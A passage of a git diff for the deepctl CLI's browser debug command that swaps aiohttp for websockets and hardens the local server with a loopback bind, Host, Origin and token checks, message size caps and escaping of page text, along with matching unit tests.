 .../src/deepctl_cmd_debug_probe/access.py     |  63 ++
 .../src/deepctl_cmd_debug_probe/command.py    |  78 +-
 .../src/deepctl_cmd_debug_probe/proxy.py      | 475 +++++++----
 .../tests/unit/test_probe.py                  | 363 ++++----
 .../tests/unit/test_proxy_loopback.py         | 737 ++++++++++++++++
 tests/unit/dependency_allowlist.txt           |  12 +-
 tests/unit/test_dependency_allowlist.py       |   8 +-
 uv.lock                                       | 800 +-----------------
 16 files changed, 2462 insertions(+), 1319 deletions(-)
 create mode 100644 packages/deepctl-cmd-debug-browser/tests/unit/test_websockets_floor.py
 create mode 100644 packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/access.py
 create mode 100644 packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py

diff --git a/packages/deepctl-cmd-debug-browser/README.md b/packages/deepctl-cmd-debug-browser/README.md
index 61b1710f..d31d5043 100644
--- a/packages/deepctl-cmd-debug-browser/README.md
+++ b/packages/deepctl-cmd-debug-browser/README.md
@@ -39,7 +39,7 @@ pipx run deepctl --help
 - `rich>=13.0.0,<16`
 - `pydantic>=2.0.0,<3`
 - `httpx>=0.24.0,<1`
-- `aiohttp>=3.9.0`
+- `websockets>=13.1,<18`
 
 ## License
 
diff --git a/packages/deepctl-cmd-debug-browser/pyproject.toml b/packages/deepctl-cmd-debug-browser/pyproject.toml
index 9be8c267..bef237b3 100644
--- a/packages/deepctl-cmd-debug-browser/pyproject.toml
+++ b/packages/deepctl-cmd-debug-browser/pyproject.toml
@@ -27,7 +27,7 @@ dependencies = [
     "rich>=13.0.0,<16",
     "pydantic>=2.0.0,<3",
     "httpx>=0.24.0,<1",
-    "aiohttp>=3.9.0",
+    "websockets>=13.1,<18",
 ]
 
 [project.optional-dependencies]
diff --git a/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/command.py b/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/command.py
index f765fa43..781382cd 100644
--- a/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/command.py
+++ b/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/command.py
@@ -2,17 +2,26 @@
 
 import importlib.resources
 import json
+import logging
+import re
 import socket
 import time
 import webbrowser
 from pathlib import Path
-from typing import Any
-
-from deepctl_core import AuthManager, BaseCommand, Config, DeepgramClient
-from rich.console import Console
+from typing import TYPE_CHECKING, Any
+from urllib.parse import parse_qs, urlsplit
+
+from deepctl_core import (
+    AuthManager,
+    BaseCommand,
+    Config,
+    DeepgramClient,
+    get_status_console,
+)
 from rich.panel import Panel
 from rich.progress import Progress, SpinnerColumn, TextColumn
 from rich.table import Table
+from rich.text import Text
 
 from .models import (
     BrowserCapabilities,
@@ -22,24 +31,111 @@
     WebSocketMessage,
 )
 
-console = Console()
+if TYPE_CHECKING:
+    from websockets.asyncio.server import Server, ServerConnection
+    from websockets.http11 import Request, Response
+
+# Everything this command prints is chrome, and the page link carries the
+# session token, so all of it goes to stderr: under -o json or yaml, stdout
+# holds only the result.
+console = get_status_console()
+
+PORT_RANGE = range(3000, 3100)
+MAX_FRAME_BYTES = 2**20
+# What the page can make this process keep: messages by count and by total
+# size, and capability names.
+MAX_MESSAGES = 1000
+MAX_MESSAGE_BYTES = 8 * 2**20  # counted as stored JSON
+MAX_MESSAGE_TEXT = 64 * 2**10  # a longer frame is dropped
+CAPABILITY_KEYS = (
+    "web_audio_api",
+    "audio_context",
+    "audio_worklet",
+    "websocket_api",
+    "fetch_api",
+    "es6_features",
+    "dom_apis",
+    "console_api",
+    "timer_apis",
+    "secure_context",
+    "microphone_access",
+    "websocket_deepgram",
+)
+_CONTROL = re.compile(r"[\x00-\x1f\x7f]")
+# The same fixed body for every 403: it echoes nothing from the request and
+# doesn't say which check failed.
+FORBIDDEN = "Forbidden. Open the exact link that dg debug browser printed.\n"
+LINK_NOTE = "It works only while this command runs."
+
+# The page and the WebSocket are only for the local browser this command
+# opens: loopback Host, the page's own Origin, and the session token.
+PAGE_HEADERS = (
+    ("Content-Type", "text/html; charset=utf-8"),
+    ("Cache-Control", "no-store"),
+    ("X-Content-Type-Options", "nosniff"),
+    ("X-Frame-Options", "DENY"),
+    ("Content-Security-Policy", "frame-ancestors 'none'"),
+    ("Referrer-Policy", "no-referrer"),
+)
+
+
+def _quiet_logger() -> logging.Logger:
+    """A logger for the server that never writes request headers anywhere,
+    whatever the root logger's level or handlers."""
+    logger = logging.getLogger("deepctl.debug.browser.server")
+    if not logger.handlers:
+        logger.addHandler(logging.NullHandler())
+    logger.propagate = False
+    logger.setLevel(logging.CRITICAL + 1)
+    return logger
+
+
+def _untrusted(text: str, style: str = "") -> Text:
+    """Text from the page for rich to print as it is: plain ASCII, control
+    characters and anything non-ASCII as backslash escapes, in a Text object
+    so neither markup nor :emoji: codes in it are interpreted."""
+    text = text.encode("ascii", "backslashreplace").decode("ascii")
+    return Text(_CONTROL.sub(lambda m: f"\\x{ord(m.group()):02x}", text), style=style)
 
 
-# aiohttp and asyncio (with ssl) load only when the servers start, so
-# `dg debug browser --help` doesn't import them (W3.2).
+def _count(n: int, one: str, many: str) -> str:
+    return f"{n} {one if n == 1 else many}"
+
+
+def _print_link(lead: str, url: str, note: str) -> None:
+    """The page link, whole on one line so it can be copied, then a dim note.
+    These lines are the only place the session token is shown (stderr)."""
+    console.print(f"\n{lead} [cyan]{url}[/cyan]", soft_wrap=True)
+    console.print(f"[dim]{note}[/dim]", soft_wrap=True)
+
+
+def _respond(
+    connection: "ServerConnection",
+    status: int,
+    text: str,
+    headers: tuple[tuple[str, str], ...] = (),
+) -> "Response":
+    """A complete response that ends the connection.
+
+    connection.respond() also marks the handshake as refused, so websockets
+    never runs the WebSocket handler for it (13.x would for a hand-built
+    Response).
+    """
+    response = connection.respond(status, text)
+    if headers:
+        del response.headers["Content-Type"]
+        for name, value in headers:
+            response.headers[name] = value
+    return response
+
+
+# asyncio (with ssl) loads only when the server starts, so
+# `dg debug browser --help` doesn't import it.
 def __getattr__(name: str) -> Any:
     if name == "asyncio":
         import asyncio
 
         return asyncio
-    if name == "web":
-        from aiohttp import web
-
-        return web
-    if name == "WSMsgType":
-        from aiohttp import WSMsgType
-
-        return WSMsgType
     raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
 
 
@@ -72,6 +168,12 @@ def __init__(self) -> None:
         self.ws_clients: set[Any] = set()
         self.debug_complete = False
         self.start_time: float | None = None
+        self._token = ""
+        self._server: Server | None = None
+        self.browser_opened = False
+        self._stored_bytes = 0
+        self.dropped_messages = 0
+        self.dropped_capabilities = 0
 
     def get_arguments(self) -> list[dict[str, Any]]:
         """Get command arguments and options."""
@@ -111,119 +213,198 @@ def get_arguments(self) -> list[dict[str, Any]]:
     def find_available_port(self, start_port: int = 3000) -> int:
         """Find an available port starting from the given port."""
         for port in range(start_port, start_port + 100):
-            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            try:
-                sock.bind(("localhost", port))
-                sock.close()
+            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+                try:
+                    sock.bind(("127.0.0.1", port))
+                except OSError:
+                    continue
                 return port
-            except OSError:
-                continue
         raise RuntimeError(f"Could not find available port starting from {start_port}")
 
-    async def websocket_handler(self, request: Any) -> Any:
-        """Handle WebSocket connections from the browser."""
-        from aiohttp import WSMsgType, web
+    @staticmethod
+    def _allowed(values: list[str], form: str, port: int) -> bool:
+        """True if there is one value, and it is `form` for 127.0.0.1 or
+        localhost on `port` (case-insensitive; on port 80 without the port,
+        as browsers send it)."""
+        forms = [form]
+        if port == 80:
+            forms.append(form.replace(":{port}", ""))
+        return len(values) == 1 and values[0].lower() in {
+            f.format(host=host, port=port)
+            for f in forms
+            for host in ("127.0.0.1", "localhost")
+        }
 
-        ws = web.WebSocketResponse()
-        await ws.prepare(request)
-        self.ws_clients.add(ws)
+    def _token_ok(self, target: str) -> bool:
+        import hmac
+
+        tokens = parse_qs(urlsplit(target).query).get("t", [])
+        return len(tokens) == 1 and hmac.compare_digest(
+            tokens[0].encode("utf-8", "surrogateescape"),
+            self._token.encode(),
+        )
 
+    def _process_request(
+        self, connection: "ServerConnection", request: "Request"
+    ) -> "Response | None":
+        """Serve the page, refuse, or let a /ws upgrade through.
+
+        Runs before any WebSocket handshake. Rejections are fixed text and
+        never echo the Host, Origin or token back.
+        """
+        # websockets < 17 closes the connection on other methods itself,
+        # without a response.
+        if getattr(request, "method", "GET") != "GET":
+            return _respond(connection, 405, "Method not allowed.\n")
+        port = connection.local_address[1]
+        if not self._allowed(request.headers.get_all("Host"), "{host}:{port}", port):
+            return _respond(connection, 403, FORBIDDEN)
+        path = urlsplit(request.path).path
+        if path not in ("/", "/ws"):
+            return _respond(connection, 404, "Not found.\n")
+        if not self._token_ok(request.path):
+            return _respond(connection, 403, FORBIDDEN)
+        if path == "/":
+            return _respond(connection, 200, self._page(), PAGE_HEADERS)
+        origins = request.headers.get_all("Origin")
+        if not self._allowed(origins, "http://{host}:{port}", port):
+            return _respond(connection, 403, FORBIDDEN)
+        return None
+
+    @staticmethod
+    def _page() -> str:
+        """The debug page, read from the package."""
         try:
-            async for msg in ws:
-                if msg.type == WSMsgType.TEXT:
-                    data = json.loads(msg.data)
-                    ws_msg = WebSocketMessage(
-                        type=MessageType(data.get("type", "info")),
-                        data=data.get("data", {}),
-                        message=data.get("message"),
-                    )
-                    self.messages.append(ws_msg)
-
-                    # Handle different message types
-                    if ws_msg.type == MessageType.CAPABILITY_CHECK:
-                        cap_data = ws_msg.data.get("result", {})
-                        cap_key = ws_msg.data.get("capability")
-                        if cap_key and cap_data:
-                            self.capabilities_data[cap_key] = BrowserCapability(
-                                **cap_data
-                            )
-
-                    elif ws_msg.type == MessageType.COMPLETE:
-                        # Store complete capabilities
-                        if "capabilities" in ws_msg.data:
-                            caps = ws_msg.data["capabilities"]
-                            # Convert all capability data
-                            cap_dict = {}
-                            for key in [
-                                "web_audio_api",
-                                "audio_context",
-                                "audio_worklet",
-                                "websocket_api",
-                                "fetch_api",
-                                "es6_features",
-                                "dom_apis",
-                                "console_api",
-                                "timer_apis",
-                                "secure_context",
-                                "microphone_access",
-                                "websocket_deepgram",
-                            ]:
-                                if key in caps:
-                                    cap_dict[key] = BrowserCapability(**caps[key])
-                                elif key in self.capabilities_data:
-                                    cap_dict[key] = self.capabilities_data[key]
-
-                            # Store complete capabilities
-                            self.capabilities_data = {
-                                **cap_dict,
-                                "user_agent": caps.get("user_agent", "Unknown"),
-                                "overall_compatible": caps.get(
-                                    "overall_compatible", False
-                                ),
-                            }
-                        self.debug_complete = True
-                elif msg.type == WSMsgType.ERROR:
-                    console.print(f"[red]WebSocket error: {ws.exception()}[/red]")
+            files = importlib.resources.files("deepctl_cmd_debug_browser")
+            html_content = (files / "static" / "debug.html").read_text()
+        except Exception:
+            # Fallback to Path-based approach
+            html_path = Path(__file__).parent / "static" / "debug.html"
+            html_content = html_path.read_text()
+        return html_content
+
+    def _handle_text(self, text: str) -> None:
+        """Record one message from the page.
+
+        Raises ValueError, TypeError or AttributeError for a frame that isn't
+        a valid message; nothing is recorded then.
+        """
+        if len(text) > MAX_MESSAGE_TEXT:
+            self.dropped_messages += 1
+            return
+        data = json.loads(text)
+        ws_msg = WebSocketMessage(
+            type=MessageType(data.get("type", "info")),
+            data=data.get("data", {}),
+            message=data.get("message"),
+        )
+        capabilities = self.capabilities_data
+
+        # Handle different message types
+        if ws_msg.type == MessageType.CAPABILITY_CHECK:
+            cap_data = ws_msg.data.get("result", {})
+            cap_key = ws_msg.data.get("capability")
+            if cap_key and cap_key not in CAPABILITY_KEYS:
+                self.dropped_capabilities += 1
+            elif cap_key and cap_data:
+                capabilities = {
+                    **capabilities,
+                    cap_key: BrowserCapability(**cap_data),
+                }
+
+        elif ws_msg.type == MessageType.COMPLETE:
+            # Store complete capabilities
+            if "capabilities" in ws_msg.data:
+                caps = ws_msg.data["capabilities"]
+                # Convert all capability data
+                cap_dict = {}
+                for key in CAPABILITY_KEYS:
+                    if key in caps:
+                        cap_dict[key] = BrowserCapability(**caps[key])
+                    elif key in self.capabilities_data:
+                        cap_dict[key] = self.capabilities_data[key]
+
+                # Store complete capabilities
+                capabilities = {
+                    **cap_dict,
+                    "user_agent": caps.get("user_agent", "Unknown"),
+                    "overall_compatible": caps.get("overall_compatible", False),
+                }
+
+        size = len(ws_msg.model_dump_json())
+        if (
+            len(self.messages) < MAX_MESSAGES
+            and self._stored_bytes + size <= MAX_MESSAGE_BYTES
+        ):
+            self.messages.append(ws_msg)
+            self._stored_bytes += size
+        else:
+            self.dropped_messages += 1
+        self.capabilities_data = capabilities
+        if ws_msg.type == MessageType.COMPLETE:
+            self.debug_complete = True
+
+    async def websocket_handler(self, ws: "ServerConnection") -> None:
+        """Handle WebSocket connections from the browser.
+
+        Text frames carry JSON messages; a frame that isn't a valid message
+        is dropped and the connection stays open. Binary frames are ignored.
+        """
+        from websockets.exceptions import ConnectionClosed
+
+        self.ws_clients.add(ws)
+        try:
+            async for frame in ws:
+                if isinstance(frame, str):
+                    try:
+                        self._handle_text(frame)
+                    except (ValueError, TypeError, AttributeError):
+                        continue
+        except ConnectionClosed:
+            pass
         finally:
             self.ws_clients.discard(ws)
-            await ws.close()
 
-        return ws
+    async def _start_server(self, port: int | None) -> int:
+        """Listen on 127.0.0.1 and return the port.
 
-    async def http_handler(self, request: Any) -> Any:
-        """Serve the debug HTML page."""
-        from aiohttp import web
+        A given port is tried once and an OSError propagates (0 picks any
+        free port). Otherwise the first port in 3000-3099 that binds is used.
+        """
+        from websockets.asyncio.server import serve
 
-        if request.path == "/":
-            # Read the HTML template from the static directory
+        for candidate in PORT_RANGE if port is None else [port]:
             try:
-                files = importlib.resources.files("deepctl_cmd_debug_browser")
-                html_content = (files / "static" / "debug.html").read_text()
-            except Exception:
-                # Fallback to Path-based approach
-                html_path = Path(__file__).parent / "static" / "debug.html"
-                html_content = html_path.read_text()
+                self._server = await serve(
+                    self.websocket_handler,
+                    "127.0.0.1",
+                    candidate,
+                    process_request=self._process_request,
+                    max_size=MAX_FRAME_BYTES,
+                    ping_interval=None,
+                    server_header=None,
+                    logger=_quiet_logger(),
+                )
+            except OSError:
+                if port is not None:
+                    raise
+                continue
+            bound: int = next(iter(self._server.sockets)).getsockname()[1]
+            return bound
+        raise RuntimeError(
+            f"Could not find available port starting from {PORT_RANGE.start}"
+        )
 
-            return web.Response(text=html_content, content_type="text/html")
-        return web.Response(status=404)
+    async def _stop_server(self) -> None:
+        if self._server is not None:
+            self._server.close()
+            await self._server.wait_closed()
+            self._server = None
 
     async def run_servers(self, port: int, timeout: int) -> dict[str, Any]:
-        """Run both HTTP and WebSocket servers."""
+        """Wait for the page to finish its checks, or for the timeout."""
         import asyncio
 
-        from aiohttp import web
-
-        # Create aiohttp app
-        app = web.Application()
-        app.router.add_get("/", self.http_handler)
-        app.router.add_get("/ws", self.websocket_handler)
-
-        # Start HTTP server (which also handles WebSocket)
-        runner = web.AppRunner(app)
-        await runner.setup()
-        site = web.TCPSite(runner, "localhost", port)
-        await site.start()
-
         console.print(
             f"\n[green]✓[/green] Debug server started on port [cyan]{port}[/cyan]"
         )
@@ -233,9 +414,6 @@ async def run_servers(self, port: int, timeout: int) -> dict[str, Any]:
         while not self.debug_complete and (time.time() - start_time) < timeout:
             await asyncio.sleep(0.1)
 
-        # Cleanup
-        await runner.cleanup()
-
         return {
             "completed": self.debug_complete,
             "timed_out": not self.debug_complete
@@ -274,7 +452,7 @@ def display_results(
                     log_table.add_row(
                         time_str,
                         f"[{type_style}]{msg.type.value}[/{type_style}]",
-                        msg.message or "",
+                        _untrusted(msg.message or ""),
                     )
 
             console.print(log_table)
@@ -314,14 +492,21 @@ def display_results(
                     status_color = "green" if cap.supported else "red"
                     cap_table.add_row(
                         display_name,
-                        f"[{status_color}]{status_icon} {cap.details}[/{status_color}]",
-                        cap.version or "",
+                        Text.assemble(
+                            f"{status_icon} ",
+                            _untrusted(str(cap.details)),
+                            style=status_color,
+                        ),
+                        _untrusted(cap.version or ""),
                     )
 
             console.print(cap_table)
 
             # Overall compatibility
-            console.print(f"\n[bold]User Agent:[/bold] {capabilities.user_agent}")
+            console.print(
+                Text("\nUser Agent:", style="bold"),
+                _untrusted(capabilities.user_agent),
+            )
             if capabilities.overall_compatible:
                 console.print(
                     "[bold green]✓ Browser is fully compatible with "
@@ -358,6 +543,7 @@ def handle(
     ) -> Any:
         """Handle browser debug command execution."""
         import asyncio
+        import secrets
 
         port = kwargs.get("port")
         no_browser = kwargs.get("no_browser", False)
@@ -365,10 +551,7 @@ def handle(
         save_report = kwargs.get("save_report")
 
         self.start_time = time.time()
-
-        # Find available port
-        if not port:
-            port = self.find_available_port()
+        self._token = secrets.token_urlsafe(16)
 
         # Show initial message
         console.print(
@@ -380,7 +563,23 @@ def handle(
             )
         )
 
-        url = f"http://localhost:{port}"
+        # Listen first, so the URL shown is the one that is being served.
+        loop = asyncio.new_event_loop()
+        asyncio.set_event_loop(loop)
+        try:
+            port = loop.run_until_complete(self._start_server(port or None))
+            result = self._serve(loop, port, timeout, no_browser)
+        finally:
+            loop.run_until_complete(self._stop_server())
+            loop.close()
+
+        return self._finish(port, timeout, save_report, result)
+
+    def _serve(
+        self, loop: Any, port: int, timeout: int, no_browser: bool
+    ) -> dict[str, Any]:
+        """Point the browser at the page, then wait for its checks."""
+        url = f"http://127.0.0.1:{port}/?t={self._token}"
 
         # Prompt user to open browser
         if not no_browser:
@@ -389,18 +588,18 @@ def handle(
                     "\n[yellow]Press Enter to open the debugger in your browser...[/yellow]"
                 )
                 input()
-            else:
-                console.print(
-                    f"\n[dim]Opening [cyan]{url}[/cyan] in your browser...[/dim]"
-                )
+            _print_link(
+                "Opening the debugger in your browser:",
+                url,
+                f"If it doesn't open, paste the link into your browser. {LINK_NOTE}",
+            )
             webbrowser.open(url)
-            browser_opened = True
+            self.browser_opened = True
         else:
-            console.print(
-                f"\n[dim]Open [cyan]{url}[/cyan] in your browser to start "
-                f"debugging[/dim]"
+            _print_link(
+                "Open this link in your browser to start debugging:", url, LINK_NOTE
             )
-            browser_opened = False
+            self.browser_opened = False
 
         # Run the async event loop
         with Progress(
@@ -410,18 +609,20 @@ def handle(
             transient=True,
         ) as progress:
             task = progress.add_task("Waiting for browser connection...", total=None)
-
-            # Run servers
-            loop = asyncio.new_event_loop()
-            asyncio.set_event_loop(loop)
-
-            try:
-                result = loop.run_until_complete(self.run_servers(port, timeout))
-            finally:
-                loop.close()
-
+            result: dict[str, Any] = loop.run_until_complete(
+                self.run_servers(port, timeout)
+            )
             progress.update(task, completed=True)
+        return result
 
+    def _finish(
+        self,
+        port: int,
+        timeout: int,
+        save_report: str | None,
+        result: dict[str, Any],
+    ) -> BrowserDebugResult:
+        """Show the results and build the command result."""
         # Process results
         capabilities = None
         if self.capabilities_data and "overall_compatible" in self.capabilities_data:
@@ -462,6 +663,22 @@ def handle(
             console.print("[dim]No browser connection was established.[/dim]")
         else:
             console.print("\n[yellow]Debug session ended[/yellow]")
+        left_out = []
+        if self.dropped_messages:
+            left_out.append(
+                _count(self.dropped_messages, "message", "messages")
+                + " over the size limit"
+            )
+        if self.dropped_capabilities:
+            left_out.append(
+                _count(
+                    self.dropped_capabilities,
+                    "unknown capability name",
+                    "unknown capability names",
+                )
+            )
+        if left_out:
+            console.print(f"[dim]Left out of the results: {', '.join(left_out)}[/dim]")
 
         # Build result
         errors = [
@@ -483,7 +700,7 @@ def handle(
             errors=errors,
             warnings=warnings,
             duration_seconds=result["duration"],
-            browser_opened=browser_opened,
+            browser_opened=self.browser_opened,
         )
 
         # Save report if requested
diff --git a/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/static/debug.html b/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/static/debug.html
index b5bf50f0..12b7ece1 100644
--- a/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/static/debug.html
+++ b/packages/deepctl-cmd-debug-browser/src/deepctl_cmd_debug_browser/static/debug.html
@@ -232,8 +232,8 @@ <h2>Debug Complete!</h2>
     </div>
 
     <script>
-        const WS_PORT = window.location.port;
-        const WS_URL = `ws://localhost:${WS_PORT}/ws`;
+        const WS_TOKEN = new URLSearchParams(window.location.search).get('t') || '';
+        const WS_URL = `ws://${window.location.host}/ws?t=${encodeURIComponent(WS_TOKEN)}`;
 
         let ws = null;
         let checkResults = {};
diff --git a/packages/deepctl-cmd-debug-browser/tests/unit/test_browser_command.py b/packages/deepctl-cmd-debug-browser/tests/unit/test_browser_command.py
index 986f41f7..c27822e2 100644
--- a/packages/deepctl-cmd-debug-browser/tests/unit/test_browser_command.py
+++ b/packages/deepctl-cmd-debug-browser/tests/unit/test_browser_command.py
@@ -1,10 +1,95 @@
 """Unit tests for browser debug command."""
 
-from unittest.mock import AsyncMock, MagicMock, Mock, patch
+import asyncio
+import json
+import logging
+import socket
+import threading
+from typing import Any
+from unittest.mock import AsyncMock, Mock, patch
+from urllib.parse import parse_qs, urlsplit
 
 import pytest
-from aiohttp import WSMsgType
 from deepctl_cmd_debug_browser import BrowserCommand, BrowserDebugResult
+from deepctl_cmd_debug_browser.command import (
+    CAPABILITY_KEYS,
+    FORBIDDEN,
+    MAX_MESSAGE_BYTES,
+    MAX_MESSAGE_TEXT,
+    MAX_MESSAGES,
+    PAGE_HEADERS,
+)
+
+
+def _free_port() -> int:
+    with socket.socket() as s:
+        s.bind(("127.0.0.1", 0))
+        return int(s.getsockname()[1])
+
+
+async def _raw(port: int, request: str) -> tuple[int, dict[str, str], bytes]:
+    """Send one raw HTTP request; return status, headers and body.
+
+    Status 0 means the server closed the connection without a response.
+    """
+    reader, writer = await asyncio.open_connection("127.0.0.1", port)
+    writer.write(request.encode("latin-1"))
+    await writer.drain()
+    data = await asyncio.wait_for(reader.read(), 10)
+    writer.close()
+    if not data:
+        return 0, {}, b""
+    head, _, body = data.partition(b"\r\n\r\n")
+    lines = head.decode("latin-1").split("\r\n")
+    headers = {}
+    for line in lines[1:]:
+        name, _, value = line.partition(":")
+        headers[name.strip().lower()] = value.strip()
+    return int(lines[0].split()[1]), headers, body
+
+
+def _get(path: str, port: int, host: str | None = None, **extra: str) -> str:
+    lines = [f"GET {path} HTTP/1.1", f"Host: {host or f'127.0.0.1:{port}'}"]
+    lines += [f"{k.replace('_', '-')}: {v}" for k, v in extra.items()]
+    return "\r\n".join(lines) + "\r\n\r\n"
+
+
+def _upgrade(path: str, port: int, host: str | None = None, **extra: str) -> str:
+    return _get(
+        path,
+        port,
+        host,
+        Upgrade="websocket",
+        Connection="Upgrade",
+        Sec_WebSocket_Key="dGhlIHNhbXBsZSBub25jZQ==",
+        Sec_WebSocket_Version="13",
+        **extra,
+    )
+
+
+class _CountingCommand(BrowserCommand):
+    """Counts WebSocket handler runs (a refused request must not start one)."""
+
+    handler_runs = 0
+
+    async def websocket_handler(self, ws):  # type: ignore[no-untyped-def]
+        self.handler_runs += 1
+        await super().websocket_handler(ws)
+
+
+class _Server:
+    """A real BrowserCommand server on a free loopback port."""
+
+    def __init__(self) -> None:
+        self.cmd = _CountingCommand()
+        self.cmd._token = "tok-123"
+
+    async def __aenter__(self) -> "_Server":
+        self.port = await self.cmd._start_server(0)
+        return self
+
+    async def __aexit__(self, *exc: object) -> None:
+        await self.cmd._stop_server()
 
 
 class TestBrowserCommand:
@@ -106,17 +191,23 @@ def test_handle_with_browser(self, mock_input, mock_browser_open):
                 timeout=60,
             )
 
-        # Verify browser was opened
+        # Verify browser was opened, on the loopback URL with the token
         mock_browser_open.assert_called_once()
+        url = urlsplit(mock_browser_open.call_args[0][0])
+        assert url.hostname == "127.0.0.1"
+        assert 3000 <= url.port < 3100
+        assert parse_qs(url.query)["t"] == [cmd._token]
 
         # Verify result
         assert isinstance(result, BrowserDebugResult)
         assert result.status == "success"
         assert result.browser_opened is True
+        assert result.port == url.port
 
     def test_handle_no_browser(self):
         """Test command execution without opening browser."""
         cmd = BrowserCommand()
+        port = _free_port()
 
         # Mock the async run_servers method
         with patch.object(
@@ -132,7 +223,7 @@ def test_handle_no_browser(self):
                 config=Mock(),
                 auth_manager=Mock(),
                 client=Mock(),
-                port=3005,
+                port=port,
                 no_browser=True,
                 timeout=60,
             )
@@ -141,43 +232,389 @@ def test_handle_no_browser(self):
         assert isinstance(result, BrowserDebugResult)
         assert result.status == "timeout"
         assert result.browser_opened is False
-        assert result.port == 3005
+        assert result.port == port
+
+    def test_given_port_in_use_raises(self):
+        """A --port that is taken fails, as it did before (no fallback)."""
+        cmd = BrowserCommand()
+        with socket.socket() as busy:
+            busy.bind(("127.0.0.1", 0))
+            busy.listen()
+            port = busy.getsockname()[1]
+            try:
+                cmd.handle(
+                    config=Mock(),
+                    auth_manager=Mock(),
+                    client=Mock(),
+                    port=port,
+                    no_browser=True,
+                    timeout=0,
+                )
+            except OSError:
+                pass
+            else:  # pragma: no cover
+                raise AssertionError("expected OSError")
+
+    def test_websocket_handler(self):
+        """Messages from the page are recorded; bad frames are dropped and
+        the connection stays open."""
+        from websockets.asyncio.client import connect
+
+        async def main() -> BrowserCommand:
+            async with _Server() as srv:
+                url = f"ws://127.0.0.1:{srv.port}/ws?t=tok-123"
+                origin = f"http://127.0.0.1:{srv.port}"
+                async with connect(url, origin=origin) as ws:
+                    await ws.send(
+                        json.dumps(
+                            {"type": "info", "message": "Test message", "data": {}}
+                        )
+                    )
+                    await ws.send("not json")
+                    await ws.send(json.dumps({"type": "nope", "data": {}}))
+                    await ws.send(json.dumps([1, 2]))
+                    await ws.send(b"\x00\x01")
+                    await ws.send(
+                        json.dumps(
+                            {
+                                "type": "capability_check",
+                                "data": {"capability": "web_audio_api", "result": "x"},
+                            }
+                        )
+                    )
+                    await ws.send(
+                        '{"type": "capability_check", "data": {"capability": '
+                        '"web_audio_api", "result": {"name": "Web Audio API", '
+                        '"supported": true, "details": "Supported", "required": true}}}'
+                    )
+                    await ws.send(json.dumps({"type": "complete", "data": {}}))
+                    for _ in range(100):
+                        if srv.cmd.debug_complete:
+                            break
+                        await asyncio.sleep(0.02)
+                    await ws.ping()  # still open after the bad frames
+                return srv.cmd
+
+        cmd = asyncio.run(main())
+        assert [m.type.value for m in cmd.messages] == [
+            "info",
+            "capability_check",
+            "complete",
+        ]
+        assert cmd.messages[0].message == "Test message"
+        assert cmd.capabilities_data["web_audio_api"].supported is True
+        assert cmd.debug_complete is True
+        assert cmd.ws_clients == set()
 
-    @pytest.mark.asyncio
-    async def test_websocket_handler(self):
-        """Test WebSocket message handling."""
+    def test_messages_are_capped(self):
         cmd = BrowserCommand()
+        for _ in range(MAX_MESSAGES + 5):
+            cmd._handle_text('{"type": "info", "message": "m", "data": {}}')
+        cmd._handle_text('{"type": "complete", "data": {}}')
+        assert len(cmd.messages) == MAX_MESSAGES
+        assert cmd.debug_complete is True
 
-        # Create mock messages
-        mock_msg1 = Mock()
-        mock_msg1.type = WSMsgType.TEXT
-        mock_msg1.data = (
-            '{"type": "info", "message": "Test message", "data": {}}'
+    def test_stored_messages_are_capped_by_size(self):
+        cmd = BrowserCommand()
+        too_long = json.dumps(
+            {"type": "info", "message": "m" * MAX_MESSAGE_TEXT, "data": {}}
         )
+        cmd._handle_text(too_long)
+        assert cmd.messages == []
+        assert cmd.dropped_messages == 1
+        # object-heavy frames are counted by what is stored, not by input size
+        heavy = json.dumps(
+            {"type": "info", "message": "m", "data": {"a": [{}] * 10000}}
+        )
+        for _ in range(400):
+            cmd._handle_text(heavy)
+        assert cmd._stored_bytes <= MAX_MESSAGE_BYTES
+        assert 0 < len(cmd.messages) < 400
+        assert cmd.dropped_messages == 1 + 400 - len(cmd.messages)
 
-        mock_msg2 = Mock()
-        mock_msg2.type = WSMsgType.TEXT
-        mock_msg2.data = '{"type": "capability_check", "data": {"capability": "web_audio_api", "result": {"name": "Web Audio API", "supported": true, "details": "Supported", "required": true}}}'
+    def test_only_known_capability_names_are_kept(self):
+        cmd = BrowserCommand()
+        result = {"name": "x", "supported": True}
+        for name in [f"cap{i}" for i in range(300)] + list(CAPABILITY_KEYS):
+            cmd._handle_text(
+                json.dumps(
+                    {
+                        "type": "capability_check",
+                        "data": {"capability": name, "result": result},
+                    }
+                )
+            )
+        assert set(cmd.capabilities_data) == set(CAPABILITY_KEYS)
+        assert cmd.dropped_capabilities == 300
 
-        # Mock WebSocketResponse
-        mock_ws = AsyncMock()
-        mock_ws.prepare = AsyncMock()
-        mock_ws.close = AsyncMock()
-        mock_ws.__aiter__.return_value = [mock_msg1, mock_msg2]
+    def test_find_available_port_closes_sockets(self):
+        import gc
+        import warnings
 
-        # Mock request
-        mock_request = Mock()
+        cmd = BrowserCommand()
+        # Only this call's sockets count: collect what earlier tests left.
+        gc.collect()
+        with socket.socket() as busy:
+            busy.bind(("127.0.0.1", 0))
+            taken = busy.getsockname()[1]
+            with warnings.catch_warnings(record=True) as caught:
+                warnings.simplefilter("always")
+                assert cmd.find_available_port(taken) != taken
+                gc.collect()
+        assert not [w for w in caught if issubclass(w.category, ResourceWarning)]
+
+    def test_page_text_is_printed_as_plain_ascii(self):
+        import io
+
+        from deepctl_cmd_debug_browser import command as cmdmod
+        from deepctl_cmd_debug_browser.models import (
+            BrowserCapabilities,
+            BrowserCapability,
+            MessageType,
+            WebSocketMessage,
+        )
+        from rich.console import Console
 
-        # Patch WebSocketResponse creation
-        with patch("aiohttp.web.WebSocketResponse", return_value=mock_ws):
-            result = await cmd.websocket_handler(mock_request)
+        out = io.StringIO()
+        with patch.object(
+            cmdmod, "console", Console(file=out, width=300, force_terminal=False)
+        ):
+            BrowserCommand().display_results(
+                None,
